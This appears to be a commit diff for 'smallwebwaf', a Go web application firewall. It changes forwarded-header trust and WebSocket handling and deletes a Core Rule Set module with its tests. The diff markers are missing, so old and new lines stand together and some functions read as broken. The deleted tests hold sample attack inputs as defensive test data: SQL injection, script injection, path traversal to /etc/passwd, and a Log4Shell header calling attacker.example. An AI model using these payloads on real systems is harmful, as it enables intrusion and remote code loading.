// it, as ReverseProxy does after each write.
// FlushError sends what has been written so far.
// http.ResponseController calls it, as ReverseProxy does after each
// write.
func (w *responseWriter) FlushError() error {
return http.NewResponseController(w.ResponseWriter).Flush()
err := http.NewResponseController(w.ResponseWriter).Flush()
w.noteError(err)
return err
}
// Hijack takes over the connection to the visitor, which ReverseProxy does only
// to pass on the app's 101 Switching Protocols: that is then the status sent.
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
if err == nil {
w.status = http.StatusSwitchingProtocols
}
return conn, buffered, err
}
// Unwrap lets http.ResponseController reach net/http's own ResponseWriter for
// what responseWriter does not do itself.
// Unwrap lets http.ResponseController reach net/http's own
// ResponseWriter, which is how ReverseProxy takes over the connection of
// an upgraded request.
func (w *responseWriter) Unwrap() http.ResponseWriter {
return w.ResponseWriter
}
// noteError keeps the first error writing to the client.
func (w *responseWriter) noteError(err error) {
if w.err == nil {
w.err = err
}
}
internal/proxy/bytelimits_test.go
+63 -5
View File
@@ -6,7 +6,6 @@ import (
"net"
"net/http"
"net/netip"
"reflect"
"strconv"
"strings"
"testing"
@@ -47,6 +46,8 @@ const (
func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
for _, tc := range []struct {
setting, window string
// apart is the time between the two requests, which the window
@@ -92,7 +93,7 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
wantMetric(t, s.scrape(), `smallwebwaf_rate_limit_hits_total{`+
wantMetric(t, s.scrape(scraper), `smallwebwaf_rate_limit_hits_total{`+
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
})
}
@@ -124,7 +125,7 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
// The 70 bytes passed on before the app broke off are over the limit of
// 50, and ban the client for an hour.
line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
requestlog.ActionForward)
requestlog.ActionUpstreamError)
if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
line.BanExpires != expires {
t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
@@ -166,6 +167,39 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
}
}
func TestWebSocketPassesTheAnswerAfterTheClientStopsSending(t *testing.T) {
t.Parallel()
app := startApp(t, echoOnceTheClientStops)
addr, out := startProxy(t, app.URL,
map[string]string{trustedProxies: trustLocalhost})
s := &sender{t: t, addr: addr, out: out}
conn, reader := s.openWebSocket()
send(t, conn, uploadBody)
// The client closes its sending side and waits for the answer, which the
// app sends only once it has seen the client stop. smallwebwaf passes the
// close on to the app through CloseWrite on upgradedConn; without that,
// it closes both connections, and the answer is lost.
tcp, ok := conn.(*net.TCPConn)
if !ok {
t.Fatalf("connection is a %T, want a *net.TCPConn", conn)
}
err := tcp.CloseWrite()
if err != nil {
t.Fatalf("close the sending side: %v", err)
}
got, err := io.ReadAll(reader)
if err != nil || string(got) != uploadBody {
t.Errorf("got %q (%v), want %q", got, err, uploadBody)
}
s.closeWebSocket(conn)
}
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
t.Parallel()
@@ -247,6 +281,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
t.Parallel()
const off = "off"
s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
})
@@ -301,7 +337,7 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
if len(got) != 1 || got[0] != want {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
@@ -430,6 +466,28 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
}
}
// echoOnceTheClientStops is an app that switches protocols, as for a
// WebSocket, reads what the client sends until the client stops sending,
// and then sends it all back.
func echoOnceTheClientStops(w http.ResponseWriter, _ *http.Request) {
conn, buffered, err := http.NewResponseController(w).Hijack()
if err != nil {
return
}
defer func() {
_ = conn.Close()
}()
_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
_ = buffered.Flush()
received, _ := io.ReadAll(buffered)
_, _ = buffered.Write(received)
_ = buffered.Flush()
}
// webSocket opens a WebSocket from client to answerAfterUpgrade, sends a
// line of bodyBytes on it, reads the answer, and closes it. It checks the
// answer, and the log line as request does, and returns the log line.
@@ -486,7 +544,7 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine {
_ = conn.Close()
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
line := s.out.requestLines(s.t, s.sent+1)[s.sent]
s.sent++
wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
internal/proxy/client.go
+94 -14
View File
@@ -5,9 +5,10 @@ import (
"net/http"
"net/netip"
"slices"
"strings"
)
// peerAddress is the address of the request's TCP peer.
// peerAddress is the address of the request's TCP peer, normally traefik.
func peerAddress(r *http.Request) netip.Addr {
addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
if err != nil {
@@ -17,24 +18,58 @@ func peerAddress(r *http.Request) netip.Addr {
return addrPort.Addr().Unmap()
}
// requestIDHeader carries the request's id, from rproxy.
const requestIDHeader = "X-Request-ID"
// requestID is the request's id: the one a question gives, or for any other
// request a new random one.
func requestID(r *http.Request, isQuestion bool) string {
if isQuestion {
return r.Header.Get(requestIDHeader)
// clientAddress works out who the client is. A peer outside the trusted
// proxies is the client, and what it says in X-Forwarded-For is ignored.
// For a peer inside them, X-Forwarded-For is read from the right, and the
// first address outside them is the client; if every address in it is
// inside, the leftmost is, and with no header, the peer. An entry that is
// not an address ends the reading, since nothing to its left can be
// believed.
func clientAddress(
peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
) netip.Addr {
client := peer
if !isInside(peer, trusted) {
return client
}
return rand.Text()
entries := strings.Split(strings.Join(forwardedFor, ","), ",")
for _, entry := range slices.Backward(entries) {
addr, err := netip.ParseAddr(strings.TrimSpace(entry))
if err != nil {
break
}
client = addr.Unmap()
if !isInside(client, trusted) {
break
}
}
return client
}
// scheme is how the visitor reached rproxy, or the trusted proxy in front of
// it, as a question says in X-Forwarded-Proto, or otherwise http.
func scheme(r *http.Request, isQuestion bool) string {
// requestIDHeader carries the request's id, from traefik and to the app.
const requestIDHeader = "X-Request-ID"
// requestID is the request's id: the one a trusted proxy sent, or a new
// random one. A peer outside the trusted proxies did not come through
// traefik, so the id it sends is its own claim, and is replaced.
func requestID(r *http.Request, peerTrusted bool) string {
id := r.Header.Get(requestIDHeader)
if !peerTrusted || id == "" {
id = rand.Text()
}
return id
}
// scheme is how the client reached traefik, as a trusted proxy says in
// X-Forwarded-Proto, or otherwise http, the only scheme smallwebwaf
// serves.
func scheme(r *http.Request, peerTrusted bool) string {
proto := r.Header.Get("X-Forwarded-Proto")
if !isQuestion || proto == "" {
if !peerTrusted || proto == "" {
return "http"
}
@@ -60,3 +95,48 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
return netblock.Contains(addr)
})
}
// setForwardedHeaders sets the headers in which the app learns about the
// client, so that it sees what it would see from traefik directly. A
// trusted proxy's forwarded headers pass on, with the proxy's own address
// added to X-Forwarded-For. Those of any other peer are its own claims and
// are replaced: X-Forwarded-For names the peer, X-Forwarded-Host the host
// it asked for, and X-Forwarded-Proto plain http, which is how it reached
// smallwebwaf.
func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
forwardedFor := peer.String()
if trusted {
// ReverseProxy removes these from out before Rewrite.
for _, name := range []string{"Forwarded", "X-Forwarded-Host", "X-Forwarded-Proto"} {
values, ok := in.Header[name]
if ok {
out.Header[name] = values
}
}
prior := in.Header.Values("X-Forwarded-For")
if len(prior) > 0 {
forwardedFor = strings.Join(prior, ", ") + ", " + forwardedFor
}
out.Header.Set("X-Forwarded-For", forwardedFor)
return
}
// ReverseProxy has removed Forwarded and the three set below; these
// are the other headers in which traefik tells the app about the
// client and its request.
for _, name := range []string{
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
} {
out.Header.Del(name)
}
out.Header.Set("X-Forwarded-For", forwardedFor)
out.Header.Set("X-Forwarded-Host", in.Host)
out.Header.Set("X-Forwarded-Proto", "http")
}
internal/proxy/client_test.go
+165
View File
@@ -0,0 +1,165 @@
package proxy_test
import (
"encoding/json"
"net/http"
"testing"
)
const (
// trustLocalhost trusts the address every test connects from, and a
// network for proxies in front of it.
trustLocalhost = localhost + "/32,10.0.0.0/8"
// appHost is the host every test asks for.
appHost = "app.example"
// client is the client's address, as a proxy names it.
client = "203.0.113.9"
// forwardedFor is the header that lists the client and its proxies,
// and forwardedProto the one that gives the scheme the client used.
forwardedFor = "X-Forwarded-For"
forwardedProto = "X-Forwarded-Proto"
// secure is the scheme a client reached traefik with, and plain the
// one smallwebwaf serves.
secure = "https"
plain = "http"
)
// appHeaders is what the app tells about the headers it received.
type appHeaders struct {
Host string `json:"host"`
ForwardedFor string `json:"forwardedFor"`
ForwardedHost string `json:"forwardedHost"`
ForwardedProto string `json:"forwardedProto"`
RealIP string `json:"realIp"`
}
// clientAddressCase is a request and what smallwebwaf makes of it.
type clientAddressCase struct {
name string
env map[string]string
header http.Header
wantClient string
wantApp appHeaders
}
func TestClientAddressAndForwardedHeaders(t *testing.T) {
t.Parallel()
for _, tc := range clientAddressCases() {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
got, line := requestWithHeaders(t, tc.env, tc.header)
tc.wantApp.Host = appHost
if got != tc.wantApp {
t.Errorf("app received %+v, want %+v", got, tc.wantApp)
}
if line.ClientIP != tc.wantClient || line.PeerIP != localhost {
t.Errorf("log line has client_ip %q and peer_ip %q, want %q and %q",
line.ClientIP, line.PeerIP, tc.wantClient, localhost)
}
})
}
}
// clientAddressCases are the requests TestClientAddressAndForwardedHeaders
// sends, from 127.0.0.1, which the default trusted proxies leave out.
func clientAddressCases() []clientAddressCase {
trusted := map[string]string{trustedProxies: trustLocalhost}
forged := http.Header{
forwardedFor: {client},
"X-Forwarded-Host": {"forged.example"},
forwardedProto: {secure},
"X-Real-Ip": {client},
}
replaced := appHeaders{
ForwardedFor: localhost, ForwardedHost: appHost, ForwardedProto: plain,
}
return []clientAddressCase{{
name: "a peer outside the trusted proxies is the client, " +
"and its forwarded headers are replaced",
header: forged, wantClient: localhost, wantApp: replaced,
}, {
name: "set but empty, the trusted proxies trust nothing",
env: map[string]string{trustedProxies: ""},
header: forged, wantClient: localhost, wantApp: replaced,
}, {
name: "behind a trusted peer, the client is the first address " +
"outside the trusted proxies from the right",
env: trusted,
header: http.Header{
forwardedFor: {"198.51.100.7, " + client + ", 10.0.0.2"},
"X-Forwarded-Host": {appHost},
forwardedProto: {secure},
"X-Real-Ip": {client},
},
wantClient: client,
wantApp: appHeaders{
ForwardedFor: "198.51.100.7, " + client + ", 10.0.0.2, " + localhost,
ForwardedHost: appHost, ForwardedProto: secure, RealIP: client,
},
}, {
name: "when every address is a trusted proxy, the leftmost is the client",
env: trusted,
header: http.Header{forwardedFor: {"10.0.0.5, 10.0.0.2"}},
wantClient: "10.0.0.5",
wantApp: appHeaders{ForwardedFor: "10.0.0.5, 10.0.0.2, " + localhost},
}, {
name: "with no header, a trusted peer is the client",
env: trusted,
wantClient: localhost,
wantApp: appHeaders{ForwardedFor: localhost},
}, {
name: "an entry that is not an address ends the reading",
env: trusted,
header: http.Header{forwardedFor: {client + ", unknown, 10.0.0.2"}},
wantClient: "10.0.0.2",
wantApp: appHeaders{
ForwardedFor: client + ", unknown, 10.0.0.2, " + localhost,
},
}, {
name: "several header lines are read as one list",
env: trusted,
header: http.Header{forwardedFor: {"2001:db8::7", "10.0.0.2"}},
wantClient: "2001:db8::7",
wantApp: appHeaders{ForwardedFor: "2001:db8::7, 10.0.0.2, " + localhost},
}}
}
// requestWithHeaders sends a request for appHost with header through
// smallwebwaf, with the settings in env, and returns the headers the app
// received and the request's log line.
func requestWithHeaders(
t *testing.T, env map[string]string, header http.Header,
) (appHeaders, logLine) {
t.Helper()
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_ = json.NewEncoder(w).Encode(appHeaders{
Host: r.Host,
ForwardedFor: r.Header.Get(forwardedFor),
ForwardedHost: r.Header.Get("X-Forwarded-Host"),
ForwardedProto: r.Header.Get(forwardedProto),
RealIP: r.Header.Get("X-Real-IP"),
})
})
addr, out := startProxy(t, app.URL, env)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Host = appHost
req.Header = header.Clone()
answered := do(t, req)
var got appHeaders
err := json.Unmarshal(answered.body, &got)
if err != nil {
t.Fatalf("decode the app's answer %q: %v", answered.body, err)
}
return got, out.requestLine(t)
}
internal/proxy/coreruleset.go
-88
View File
@@ -1,88 +0,0 @@
package proxy
import (
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// checkCoreRuleSet inspects the request with the Core Rule Set, unless
// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
// and in block mode refuses the request, which is an offence its client's
// history counts, and so returns ActionWAFBlocked. It returns "" for a
// request it does not refuse.
func (rq *request) checkCoreRuleSet() string {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
return ""
}
start := time.Now()
// A question's body has been read into memory, so that reading it here
// cannot fail.
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
rq.requestBytes = int64(len(read))
rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
rq.line.WAFRuleIDs = result.RuleIDs
rq.line.WAFScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.WAFMatched(cfg.WAFMode, id)
}
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return ""
}
rq.alertWAFBlock(result)
if cfg.WAFMode == config.WAFModeDetect {
return ""
}
rq.wafBlocked = true
return requestlog.ActionWAFBlocked
}
// alertWAFBlock raises the waf_block alert for the request, which the Core
// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertWAFBlock(result waf.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
"score": result.Score,
"method": rq.in.Method,
"path": rq.in.URL.RequestURI(),
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventWAFBlock,
Host: rq.site,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
internal/proxy/coreruleset_test.go
-480
View File
@@ -1,480 +0,0 @@
package proxy_test
import (
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
// its two modes that inspect requests.
const (
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
block = "block"
detect = "detect"
)
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sizeLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
// setting.
const (
sizeLimit = 1 << 10
sizeLimitSetting = "1K"
)
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWWAF_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantWAF checks the request log line's waf_rule_ids and waf_score, and
// that it has duration_waf, or with no score, that it has none of the
// three: the Core Rule Set did not inspect the request.
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t.Helper()
if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
}
switch {
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
line.fields["waf_score"], line.fields["duration_waf"])
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
case score != nil && line.DurationWAF == nil:
t.Error("log line has no duration_waf")
}
}
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t.Parallel()
for _, attack := range []struct {
name, path, header string
ruleIDs []int
score int
}{
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
{
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
[]int{941100, 941110, 941160, 941390}, 20,
},
{
"path traversal in the path", "/files/../../etc/passwd", "",
[]int{930100, 930110}, 10,
},
{
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
[]int{944150}, 5,
},
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
{
// Coraza keeps the first 1000 query parameters.
"SQL injection after 1000 query parameters",
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
[]int{900300}, 5,
},
} {
t.Run(attack.name, func(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
mode, action string
status int
}{
{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK},
} {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
line := s.requestWithHeader(client, attack.path, attack.header,
tc.status, tc.action)
wantWAF(t, line, &attack.score, attack.ruleIDs...)
}
})
}
}
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
}
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
t *testing.T,
) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block,
wafExemptPaths: "/api/",
allowNets: allowed,
rulesDir: writeRules(t, testRules),
})
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
// exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
requestlog.ActionForward)
wantWAF(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected.
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionWAFBlocked)
wantWAF(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected.
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionRuleBlocked)
wantWAF(t, line, nil)
// With SWWAF_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
}
func TestAnomalyThreshold(t *testing.T) {
t.Parallel()
// A score under the threshold, or with the threshold off, is logged,
// and refuses nothing.
for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: threshold,
})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(5), 942100)
}
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: "5",
})
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
t.Parallel()
for _, request := range []struct {
name, method, path, header string
// ruleIDs are the rules that match the request with none
// switched off.
ruleIDs []int
}{
{
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
[]int{920420, 930130},
},
{
"package upload without a type", http.MethodPut,
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
[]int{920340},
},
{
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
[]int{920440},
},
{
"an editor's settings", http.MethodGet,
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
},
} {
t.Run(request.name, func(t *testing.T) {
t.Parallel()
body := ""
if request.method != http.MethodGet {
body = "push"
}
// By default, the rules are switched off.
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
// A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists.
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
})
}
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
const body = "id=1'%20OR%20'1'='1"
header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body))
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
}
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
t.Parallel()
// The app answers with the body it was sent, once it has the whole of
// it: Go's server reads no more of a body once the answer has begun.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
_, _ = w.Write(body)
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
for i, tc := range []struct {
name, contentType, body string
// announced sends the body's length in Content-Length; otherwise
// the body is sent in chunks with no length given.
announced bool
}{
{"form data within the limit", formData, "a=b", true},
{"form data longer than the limit", formData, longer, true},
{"form data longer than the limit, not announced", formData, longer, false},
{
"JSON larger than the limit", "application/json",
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
},
{
"a binary body", "application/octet-stream",
strings.Repeat("\x00\xff", sizeLimit), true,
},
} {
// A reader whose length the client cannot tell is sent in chunks.
var body io.Reader = strings.NewReader(tc.body)
if !tc.announced {
body = io.MultiReader(body)
}
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", tc.contentType)
got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
tc.name, len(got.body), got.status, len(tc.body))
}
line := out.endedLines(t, i+1)[i]
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.RequestBytes != int64(len(tc.body)) {
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
line.RequestBytes, len(tc.body))
}
}
}
func TestResponsesAreNotInspected(t *testing.T) {
t.Parallel()
// A raw shell script, and an SQL error, which the Core Rule Set's rules
// for responses take for a leak.
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
"You have an error in your SQL syntax; check the manual that " +
"corresponds to your MySQL server version\n"
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page))
})
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
}
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
})
for range 2 {
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
// The third refusal in a minute breaks the error burst, and bans the
// client.
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
metrics := s.scrape()
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
`instance="app",status_class="4xx"}`, 3)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
})
for range 3 {
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
offences := historyOf(t, server, client).Offences
if offences != (ratelimit.Offences{}) {
t.Errorf("history counts the offences %+v, want none", offences)
}
metrics := s.scrape()
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
wantNoSeries(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
}
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
// It is an offence as in enforce mode.
want := ratelimit.Offences{WAFBlocked: 1}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
}
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// status and action are what the request is answered and logged
// with, and alertMode what the alert's detail gives as mode, if
// anything.
status int
action, alertMode string
}{
{
"block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionWAFBlocked, "",
},
{
"detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect,
},
{
"block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, clk, _, queue := startWithAlerts(t, tc.env)
// The second is a repeat, which the cooldown holds back, and an
// ordinary request raises none.
for range 2 {
s.request(client, sqlInjection, tc.status, tc.action)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
"path": sqlInjection,
}
if tc.alertMode != "" {
detail["mode"] = tc.alertMode
}
wantAlerts(t, queue, alerts.Alert{
Instance: alertInstance,
Time: clk.Now(),
Event: alerts.EventWAFBlock,
Host: appHost,
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
}
})
}
}
internal/proxy/countries_test.go
+11 -13
View File
@@ -52,7 +52,7 @@ func TestCountryLists(t *testing.T) {
calls.Add(1)
})
